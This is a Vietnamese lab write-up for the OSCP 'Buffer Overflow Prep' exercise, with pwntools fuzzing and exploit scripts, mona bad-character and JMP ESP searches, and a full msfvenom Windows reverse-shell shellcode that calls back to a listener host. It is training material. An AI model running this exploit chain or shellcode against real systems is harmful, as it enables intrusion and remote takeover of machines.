Buffer Overflow Prep

Vietnamese version

Prepare

Trước khi đọc bài này, tôi nghĩ bạn nên có kiến thức nền về Buffer Overflow trên OS Linux, vì nó khá dễ, Đối với Windows nó phức tạp hơn 1 chút. Hmm, dù sao thì bạn nên học từ dễ đến khó để đạt được hiệu suất tối ưu nhất

Connect Machine bằng Remote Desktop Connection (credential: admin/password)

Some Binaries:

• The SLMail installer.

• The brainpan binary.

• The dostackbufferoverflowgood binary.

• The vulnserver binary.

• A custom written "oscp" binary which contains 10 buffer overflows, each with a different EIP offset and set of badchars.

Guide for Exploiting Buffer Overflow: http://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst

Machine này sẽ ôn luyện cho các bro ôn thi OSCP, nhưng tôi không có tiền thi nên tôi sẽ explorer nó hết mức có thể :>>

Quy trình cho exploit:

• Fuzzing

• Control EIP

• Finding JMP ESP gadget

• Finding Bad Chars

• Generate Shellcode

• Exploitation

Từng quy trình tôi sẽ làm rõ bên dưới:

Lí do Buffer Overflow ở Windows phức tạp hơn Linux là do:

• Trên Windows, khi Buffer Overflow xảy ra, chương trình sẽ raise lỗi: Access Violation (0xC0000005) Windows sử dụng Structured Exception Handling (SEH) để quản lí lỗi nên thay vì hiển thị thông báo lỗi thì nó sẽ bắt lỗi và sử dụng try-except hoặc nó sẽ đóng chương trình hoặc nó sẽ raise 1 popup "The program has stopped working"

• Trên Linux, khi Buffer Overflow xảy ra, nó sẽ không có SEH như Windows, mà sẽ gây lỗi Segmentation Fault (SIGSEGV) và In thông báo lỗi trực tiếp ra terminal vì nó sử dụng Signal Handling & Core Dump

Overflow 1

Đầu tiên, Tôi sẽ run oscp.exe với Immunity Debugger và đây là Output

Netcat đến IP của machine và port 1337.

Each rows correspond each challenge in this lab. If you want to pass payload to each challenge. Please enter following syntax: <Chall_name> <payload>, Example: OVERFLOW1 aaaaaaaaaaaa

Fuzzing

Tôi sử dụng script python sau để fuzzing buffer

from pwn import *

r = remote("10.10.40.42", 1337)

prefix = b"OVERFLOW1 "
suffix = b"A" * 100
while (1):
    try:
        payload = prefix + suffix
        r.sendline(payload)
        log.info(f"Sent {len(suffix)} bytes")
        r.recv(1024)
    except:
        log.failure(f"Crashed at {len(suffix)} bytes")
        r.close()
        break
    suffix += b"A" * 100
    sleep(1)
r.interactive()

Sau khi chạy script và sending payload thì màn hình Remote sẽ như sau:

Chú ý vào thanh status sẽ thấy rằng chương trình bị crash do địa chỉ EIP không được xác định

Controlling EIP

Tôi sử dụng script này để tìm ra chính xác padding đến EIP:

from pwn import *
r = remote("10.10.40.42", 1337)

prefix = b"OVERFLOW1 "
buffer = cyclic(2000)


payload = prefix + buffer
r.sendline(payload)
log.info(f"Sent payload successfully")

r.interactive()

Output:

Sau khi chạy, ta có value của EIP là: 0x61757461. Sử dụng cyclic để tìm ra padding:

Sau khi đã biết chính xác padding để ghi đè đến EIP, tôi sẽ thay thế nó bằng 1 address JMP ESP.

test_buffer.py

from pwn import *
r = remote("10.10.250.7", 1337)

prefix = b"OVERFLOW1 "
buffer = b"A" * 1978

payload = flat(
    prefix,
    buffer,
    b"RYAN"
)
r.sendline(payload)
log.info(f"Sent payload successfully")

r.interactive()

Finding Bad Chars

Việc tìm bad chars để xem kí tự nào là kí tự sẽ bị thay đổi bởi chương trình. Khi các bad char được gửi lên server nó sẽ được thay thế bằng cặp từ \x0D\x0A (tức \r\n - cặp giá trị kết thúc dòng trong Windows). Từ đó ta có thể loại bỏ các kí tự đó trong shellcode của mình, không gây ra hỏng Shellcode.

Phạm vi của ASCII Table: từ 0 -> 256 nhưng tôi sẽ không gửi byte \x00 lên vì nó sẽ gây ra terminate chuỗi :>> nên sẽ loại luôn kí tự từ đầu.

>>> bytearray(range(1,256))
bytearray(b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff')

bad_char.py

from pwn import *
r = remote("10.10.250.7", 1337)

bad_char = bytearray(range(1, 256))

prefix = b"OVERFLOW1 "
buffer = b"A" * 1978

payload = flat(
    prefix,
    buffer,
    bad_char,
    b"FFFF"
)
r.sendline(payload)
log.info(f"Sent payload successfully")

r.interactive()

Ta có thể thấy payload đã được thay đổi từ byte \x07 -> Bad char:

Remove nó khỏi mảng bad_char:

bad_char.remove(0x07)

Làm tương tự với các byte tiếp theo:

Ta sẽ có list bad char: \x07, \x2e, \xa0.

Hoặc ta sẽ sử dụng command sau:

!mona bytearray -b "\x00"

Mona sẽ gen cho tôi 1 file bin tại vị trí:

"C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin"

Sử dụng tệp này để so sánh với phần pattern bad chars:

!mona compare -f "C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin" -a <address>

Trong đó address là địa chỉ bắt đầu từ chuỗi \x01\x02\x03\....\xFF

Đây là output:

Ảnh tượng trưng...

Finding JMP ESP gadget

Sau khi tôi tìm được các badchar thì tôi sẽ tìm các jump point trên memory của chương trình bằng command sau:

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Nếu khi bạn enter thì của sổ Log Data sẽ hiện ra như sau:

Có thể thấy nó load lên các gadget từ Lib: essfunc.dll

Thì ta có tổng là 9 jump point. Bạn có thể pick bừa 1 cái để làm jump point

Chú ý dòng sau:

  0x625011f7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)

Giải thích dòng trên:

• 0x625011f7: Đây là địa chỉ bộ nhớ trong process của chương trình, nơi tìm thấy lệnh jmp esp

• {PAGE_EXECUTE_READ}: Phân vùng bộ nhớ này có thể đọc và thực thi được

• [essfunc.dll]: thư viện DLL chứa lệnh jmp esp tại địa chỉ 0x625011f7

• Trạng thái các cơ chế bảo vệ:

  • ASLR: False -> địa chỉ của essfunc.dll không thay đổi mỗi lần chương trình chạy.

  • Rebase: False -> địa chỉ sẽ không thay đổi address base của nó sau mỗi lần chạy.

  • SafeSEH: False -> DLL này không có danh sách các exception handlers an toàn. Điều này có thể giúp ta ghi đè SEH handler nếu muốn exploit SEH

  • OS: False -> DLL này không phải DLL của hệ điều hành Windows. Tức nó có thể bị khai thác dễ hơn các thư viện: ntdll.dll, kernel32.dll.

Quay trở lại CPU Windows: Windows > CPU - main thread, module oscp

Generate Shellcode

Bây giờ ta sẽ có viễn cảnh khai thác như sau:

+----------+
| DATA     |    <-- Buffer
+----------+
| JMP ESP  |    <-- EIP pointer
+----------+
|   ESP    |    <-- STACK
|   ...    |
|   EBP    |
+----------+

Nếu Stack chứa shellcode thì sau khi JMP ESP, shellcode sẽ được thực thi

Tôi sẽ gen shellcode reverse shell bằng Metasploit như sau:

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.21.29.147 LPORT=9001 -b "\x00\x07\x2e\xa0" EXITFUNC=thread  -f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1965 bytes
shellcode =  b""
shellcode += b"\xbd\x3a\xb9\xa2\xaf\xdb\xdf\xd9\x74\x24\xf4"
shellcode += b"\x5b\x2b\xc9\xb1\x52\x31\x6b\x12\x83\xeb\xfc"
shellcode += b"\x03\x51\xb7\x40\x5a\x59\x2f\x06\xa5\xa1\xb0"
shellcode += b"\x67\x2f\x44\x81\xa7\x4b\x0d\xb2\x17\x1f\x43"
shellcode += b"\x3f\xd3\x4d\x77\xb4\x91\x59\x78\x7d\x1f\xbc"
shellcode += b"\xb7\x7e\x0c\xfc\xd6\xfc\x4f\xd1\x38\x3c\x80"
shellcode += b"\x24\x39\x79\xfd\xc5\x6b\xd2\x89\x78\x9b\x57"
shellcode += b"\xc7\x40\x10\x2b\xc9\xc0\xc5\xfc\xe8\xe1\x58"
shellcode += b"\x76\xb3\x21\x5b\x5b\xcf\x6b\x43\xb8\xea\x22"
shellcode += b"\xf8\x0a\x80\xb4\x28\x43\x69\x1a\x15\x6b\x98"
shellcode += b"\x62\x52\x4c\x43\x11\xaa\xae\xfe\x22\x69\xcc"
shellcode += b"\x24\xa6\x69\x76\xae\x10\x55\x86\x63\xc6\x1e"
shellcode += b"\x84\xc8\x8c\x78\x89\xcf\x41\xf3\xb5\x44\x64"
shellcode += b"\xd3\x3f\x1e\x43\xf7\x64\xc4\xea\xae\xc0\xab"
shellcode += b"\x13\xb0\xaa\x14\xb6\xbb\x47\x40\xcb\xe6\x0f"
shellcode += b"\xa5\xe6\x18\xd0\xa1\x71\x6b\xe2\x6e\x2a\xe3"
shellcode += b"\x4e\xe6\xf4\xf4\xb1\xdd\x41\x6a\x4c\xde\xb1"
shellcode += b"\xa3\x8b\x8a\xe1\xdb\x3a\xb3\x69\x1b\xc2\x66"
shellcode += b"\x3d\x4b\x6c\xd9\xfe\x3b\xcc\x89\x96\x51\xc3"
shellcode += b"\xf6\x87\x5a\x09\x9f\x22\xa1\xda\xaa\xa7\xb4"
shellcode += b"\x89\xc3\xc5\xc6\x8e\x3a\x43\x20\xba\x2c\x05"
shellcode += b"\xfb\x53\xd4\x0c\x77\xc5\x19\x9b\xf2\xc5\x92"
shellcode += b"\x28\x03\x8b\x52\x44\x17\x7c\x93\x13\x45\x2b"
shellcode += b"\xac\x89\xe1\xb7\x3f\x56\xf1\xbe\x23\xc1\xa6"
shellcode += b"\x97\x92\x18\x22\x0a\x8c\xb2\x50\xd7\x48\xfc"
shellcode += b"\xd0\x0c\xa9\x03\xd9\xc1\x95\x27\xc9\x1f\x15"
shellcode += b"\x6c\xbd\xcf\x40\x3a\x6b\xb6\x3a\x8c\xc5\x60"
shellcode += b"\x90\x46\x81\xf5\xda\x58\xd7\xf9\x36\x2f\x37"
shellcode += b"\x4b\xef\x76\x48\x64\x67\x7f\x31\x98\x17\x80"
shellcode += b"\xe8\x18\x37\x63\x38\x55\xd0\x3a\xa9\xd4\xbd"
shellcode += b"\xbc\x04\x1a\xb8\x3e\xac\xe3\x3f\x5e\xc5\xe6"
shellcode += b"\x04\xd8\x36\x9b\x15\x8d\x38\x08\x15\x84"

Sau khi gửi payload lên server ta có thể thấy shellcode đã bị ảnh hưởng:

Tính từ JMP ESP đến phần không bị ảnh hưởng là: 0x194FA40 - 0x194FA24 = 28 byte

Tôi sẽ padding với NOP operator: \x90

Đây chính là các NOP byte mà tôi đã chèn vào.

Final payload:

...
shellcode += b"..."


prefix = b"OVERFLOW1 "
buffer = b"b" * 1978

payload = flat(
    prefix,
    buffer,
    0x625011f7,
    b"\x90" * 28, # Can edit for fix error
    shellcode
)
r.sendline(payload)
log.info(f"Sent payload successfully")

r.interactive()

Done:

Overflow 2

Sau khi làm xong bài 1 thì tôi sẽ làm tiếp bài 2. Nhưng tôi sẽ không giải thích nhiều nữa nếu không có gì thay đổi với bài trước

Crash at 800 bytes:

Tôi sẽ tìm ra chính xác vị trí nó với cyclic:

Pattern tại thanh ghi EIP:

Có vẻ 634 là giá trị offset chính xác đến EIP. Ở dưới đây bạn thấy rằng \x0A và \x0D là vì payload tôi gửi lên là bad chars (Giữa 256 kí tự, tôi lại chọn đúng kí tự badchars 🤡)

Sau 1 hồi tôi tìm được 5 bad chars:

\x00\x23\x3C\x83\xBA

Done:

Do kĩ thuật khai thác ở bài lab này tương tự nhau nên tôi sẽ chỉ làm những bước quan trọng nhất để chuẩn bị cho việc khai thác.

Overflow 3

Overflow 4

Overflow 5

Overflow 6

Overflow 7

Overflow 8

Overflow 9

Overflow 10